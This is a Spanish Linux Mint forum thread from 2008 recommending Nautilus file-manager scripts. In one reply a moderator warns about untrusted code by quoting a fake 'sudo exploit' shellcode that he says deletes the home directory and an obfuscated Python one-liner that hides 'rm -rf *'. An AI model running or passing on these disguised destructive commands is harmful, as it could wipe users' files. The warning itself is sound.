Linux Mint Comunidad Hispana
02 de Diciembre de 2008, 08:33:53 *
Bienvenido(a), Visitante. Por favor, ingresa o regístrate.
¿Perdiste tu email de activación?

Ingresar con nombre de usuario, contraseña y duración de la sesión
Noticias: Add to Technorati Favorites
 
InicioAyudaBuscarCalendarioIngresarRegistrarse
 
Páginas: [1]
  Imprimir  
Autor Tema: Aplicaciones (scripts) en Nautilius  (Leído 492 veces)
fernando
Novato
*

Karma: +0/-0
Mensajes: 8



Ver Perfil
« : 18 de Agosto de 2008, 10:00:53 »

Navegando por ahí he ido a dar con un conjunto de pequeñas aplicaciones (scripts) para el Explorador de Archivos de GNOME, Nautilus. Entre las que he encontrado existen las relacionadas con la manipulación de archivos (audio, imágenes, pdf...) o alguna otra función como, por ejemplo, enviar por Gmail, si lo utilizáis, archivos o carpetas. Se que conoceréis muchas de ellas, e incluso desde  el Gestor de Paquetes Synaptic se pueden instalar algunas de características parecidas; pero si no es así, y os interesa, aquí las tenéis (en cuanto a la instalación, se especifica de forma muy clara en las fuentes):

  • python-nautilus:
es un paquete muy completo donde podemos encontrar características como:
Audio: convertir a diferentes formatos.
Comandos de Ventana.
Comentarios: añadir comentarios a fotos o directorios.
DVD: crear un DVD de fotografías.
Imágenes: convertir, redimensionar, rotar, crear mosaicos, etc.
Otros: renombrar ficheros.
PDF: comprimir, reducir páginas, etc.
Vídeo: extraer AVI o MPGE.

Fuente: http://nautilus-scripts.javielinux.com/

  • Nautilus-send-Gmail:
[/b][/i] este programa añade una nueva entrada al menú contextual que nos permite enviar los archivos seleccionados y los archivos dentro de las carpetas seleccionadas a nuestra cuenta de Gmail.
  • Nautilus-Monte-image
[/b][/i]: añade una nueva entrada al menú contextual que nos permite montar y desmontar el seleccionado CD o DVD.
  • Nautilus-etiqueta de música:
[/b][/i] añade una nueva entrada al menú contextual que nos permite llenar las etiquetas ID3 de archivos MP3 con su adecuada género, artista, año, álbum, número de canción y el título utilizando su camino. For this program to work your music has to be stored using a path like /Genre/Artist/Year - Album/Number - Title.mp3 Para este programa de trabajo para su música tiene que ser almacenadas utilizando una ruta como / Género / Artista / Año - Álbum / Número – Title.mp3.
  • Nautilus-renombrar-Exif-fecha:
[/b][/i] añade una nueva entrada al menú contextual que nos permite cambiar el nombre de los seleccionados JPEG y TIFF fotografías (y los que figuran dentro de la carpeta seleccionada) a la fecha y la hora en que las fotos fueron tomadas, utilizando la correspondiente etiqueta EXIF.
  • Nautilus-play-amaroK:
[/b][/i] en este caso, añade una nueva entrada al menú contextual que nos permite jugar con el seleccionado Amarok archivos de audio, y los archivos de audio contenidos en el interior de la carpeta seleccionada.
  • Nautilus-play-Banshee:
[/b][/i] añade una nueva entrada al menú contextual que nos permite jugar con el seleccionado Banshee archivos de audio, y los archivos de audio contenidos en el interior de la carpeta seleccionada.
  • Nautilus-play-MPlayer:
añade una nueva entrada al menú contextual que nos permite jugar con el seleccionado MPlayer archivos de vídeo, el vídeo y archivos contenidos dentro de la carpeta seleccionada.

Fuente: http://mundogeek.net/nautilus-scripts/


Bueno, estos son unos ejemplos, pero si queréis investigar un poco más, en el siguiente enlace podéis encontrar unos cuantos más: http://www.grumz.net/index.php?q=configlist

En línea
Arrakixmint
Moderador Global
Usuario Héroe
*****

Karma: +42/-1
Mensajes: 802


Locus amoenus


Ver Perfil
« Respuesta #1 : 19 de Agosto de 2008, 01:59:07 »

Hola Fernando,no se si tiene que ver el script que aplique,concretamente el de gmail.Despues de añadir los repositorios del creador e instalar Nautilus-send-Gmail,tuve problemas con Python,cada vez que accedia al nautilus se me relentizaba y al acudir al monitor del sistema me encontraba un zombie python al lado del bueno.Ya te digo,no se si tiene que ver,el caso es que anule esos repositorios y desinstale Nautilus-send-Gmail y todo volvio a la normalidad.

Saludos.
En línea

"El banquero es un señor que nos presta el paraguas cuando hace sol y nos lo exige cuando empieza a llover."
milord
Administrador
Usuario Héroe
*****

Karma: +44/-2
Mensajes: 832



Ver Perfil
« Respuesta #2 : 19 de Agosto de 2008, 04:23:38 »

Hay que tener muchisímo cuidado con los scrips de dudosa procedencia. Nos podemos llevar alguna que otra sorpresa...
En línea

Cada uno aporta su granito de arena, muchos hacen una duna, y muchísimos un desierto. Y en Redmond, ya empiezan a ver el desierto a las puertas de sus casas.
coexisto
Usuario Completo
***

Karma: +4/-2
Mensajes: 183



Ver Perfil
« Respuesta #3 : 19 de Agosto de 2008, 08:49:29 »

leyendo esto me di cuenta que hay varias opciones ke usaba en windows y ke no estoy usando en linux.....O.o
¿sera que me estoy adaptando al SO en ves de que el SO se adaptea mi? Impresionado



gracias por la info....no tenia idea delo ke era python.... Sonreir
En línea
fernando
Novato
*

Karma: +0/-0
Mensajes: 8



Ver Perfil
« Respuesta #4 : 19 de Agosto de 2008, 09:26:38 »

Hola Arrakixmint, he de reconocer que no he probado todos los scripts a los que hago referencia, y debería haber comenzado con la advertencia que realiza milord; de todas maneras, instale al que haces referencia, nautilus-send-gmail, y, por ahora, no me ha dado ningún problema si bien es verdad que aparece el tal python zombie(?).

Un saludo.
En línea
Arrakixmint
Moderador Global
Usuario Héroe
*****

Karma: +42/-1
Mensajes: 802


Locus amoenus


Ver Perfil
« Respuesta #5 : 19 de Agosto de 2008, 09:35:29 »

No te preocupes Fernando yo acabe desinstalandolo porque me hacia el nautilus mas lento.Asi que bueno,quizas hay gente que no le pase pero te aconsejaria que si te pasa lo mismo con el nautilus,hagas lo mismo que yo,por lo menos hasta descubrir de que se trata y si tiene remedio, los zombies solo me gustan verlos en las peliculas. Giñar Cheesy
Saludos,amigo.

Los Scripts son programas creados por gente malvada o en caso de un script limpio,gente enrrollada.Siempre hay que leer el código fuente de cualquier cosa descargada de una fuente no fiable o cruzar los dedos y tomarse una tila mientras se ejecuta (la efectividad de este método no está probada). Como ejemplo, el mensaje en una lista de correo que ofrecía un programilla en C para aprovecharse de un exploit del comando sudo, veamos la parte interesante del mismo:

char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68\x00\x2d\x63\x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";

Este trozo de código hexadecimal ejecuta un bonito rm -rf ~ / &, borraremos nuestro home y si somos root todo el disco, bonito atrapa script kiddies :twisted:

Hay que tener cuidado en especial al tocar otros comandos como chmod, chown y chgrp que alteran los permisos, propietario y grupo de los ficheros ya que podríamos conceder acceso a cualquiera o dejar el sistema hecho un desastre si se aplican de forma recursiva sin control.

También recordar que todos estos comandos se pueden ejecutar mediante scripts en lenguajes como python, por ejemplo este código:

python -c 'import os; os.system("".join([chr(ord(i)-1) for i in "sn!.sg!+"]))'

Ejecuta un rm -rf * oculto tras el “sn!.sg!+”.

Consejos para evitar cargarnos nuestro propio sistema:

    * Aprender los comandos básicos de Linux, si vamos a ejecutar algo mirar qué hace con man.

    * Sólo ejecutar código proporcionado en sitios fiables y aun así mirar qué hace, así aprenderemos, que nunca está de más.

    * Tener un poco de sentido común, si vemos a alguien diciendo “¡Ej3cu74 3st0 y t3ndr4s 4cc3so0 i1im174d0 al ord3n4d0r d3 14 NASA!” no te enfundes tu sombrero de copa y empieces a copy/pastear.
« Última modificación: 19 de Agosto de 2008, 10:35:20 por Arrakixmint » En línea

"El banquero es un señor que nos presta el paraguas cuando hace sol y nos lo exige cuando empieza a llover."
fernando
Novato
*

Karma: +0/-0
Mensajes: 8



Ver Perfil
« Respuesta #6 : 20 de Agosto de 2008, 01:31:48 »

Gracias Arrakixmint, muy buena tu información y tus consejos. Pero hablando de otra cosa, concrétamente de subir los archivos a una cuenta Gmail no se si conoces gspace. Esta es una extensión de Firefox que te permite intercambiarlos entre tu ordenador y tu cuenta de correo comodamente. Un saludo
En línea
Arrakixmint
Moderador Global
Usuario Héroe
*****

Karma: +42/-1
Mensajes: 802


Locus amoenus


Ver Perfil
« Respuesta #7 : 20 de Agosto de 2008, 01:49:13 »

Gracias a ti Fernando,por este aporte que sin duda probare,andaba buscando algo similar a lo del script ese que parece tener algun problema con nautilus,asi que lo probare y ya te cuento. Cool
Saludos.
En línea

"El banquero es un señor que nos presta el paraguas cuando hace sol y nos lo exige cuando empieza a llover."
Arrakixmint
Moderador Global
Usuario Héroe
*****

Karma: +42/-1
Mensajes: 802


Locus amoenus


Ver Perfil
« Respuesta #8 : 20 de Agosto de 2008, 08:18:43 »

Encontre por San Googlel como instalar Scripts de Nautilus,unos scripts fiables incluso recomendados desde Ubuntu.es,pero, antes:

¿Qué son los Scripts de Nautilus?

Los Scripts de Nautilus son unas pequeñas aplicaciones que podemos ejecutar desde el Explorador de Archivos de Gnome (Nautilus). Hay diferentes tipos de scripts: para el manejo de imágenes, para archivos de audio, creación de DVDs o una herramienta para lanzar tus propios comandos de forma parametrizada.

¿Cómo puedo instalarlos?

Para poder ejecutar los scripts desde nautilus tenemos que tener instalado el paquete python-nautilus que viene en los repositorios de cualquier distro actual o empaquetado en RPM.
Descargamos el paquete de scripts desde el enlace que os dejo,descomprimes y copias todo a la carpeta oculta .gnome2:

/home/usuario/.gnome2/nautilus-scripts

Una vez hecho esto si seleccionamos desde nautilus cualquier archivo y pulsamos el botón derecho aparecerá un menú llamado "Scripts" con la misma estructura que el directorio anterior y podremos ejecutarlos.



Como veis en la imagen hay scripts para Audio,Comandos de  ventana,Comentarios,Dvd,Imagenes,Otros,Pdf y Videos en este apartado se puede extraer video Avi y Mpeg.

Asegúrate que los scripts tienen permisos de ejecución.Para mas informacion y descarga:

http://nautilus-scripts.javielinux.com/

Saludos.
« Última modificación: 20 de Agosto de 2008, 08:29:20 por Arrakixmint » En línea

"El banquero es un señor que nos presta el paraguas cuando hace sol y nos lo exige cuando empieza a llover."
Páginas: [1]
  Imprimir  
  Enlazar al calendario  
Ir a:  

Impulsado por MySQL Impulsado por PHP Powered by SMF 1.1.5 | SMF © 2006-2008, Simple Machines LLC XHTML 1.0 válido! CSS válido!